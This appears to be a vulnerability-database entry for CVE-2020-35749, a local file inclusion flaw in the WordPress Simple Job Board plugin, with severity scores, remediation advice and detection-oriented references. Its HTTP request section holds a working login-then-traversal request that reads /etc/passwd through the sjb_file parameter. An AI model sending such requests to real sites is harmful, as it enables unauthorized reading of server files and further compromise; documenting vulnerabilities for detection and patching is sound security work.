🔙 목록으로 돌아가기

CVE-2020-35749: WordPress Simple Job Board <2.9.4 - Local File Inclusion

TitleWordPress Simple Job Board <2.9.4 - Local File Inclusion
Authorcckuailong
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
RemediationUpdate to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability.
CVSS Score7.7
EPSS Score0.76788
CVE IDCVE-2020-35749
CWE IDCWE-22
Tags cve cve2020 authenticated packetstorm wp lfi wordpress wp-plugin wpscan presstigers vuln

🔍 Vulnerability Description

WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=DiTMMR&pwd=DzWFV1&wp-submit=Log+In&testcookie=1
GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35749.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35749.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A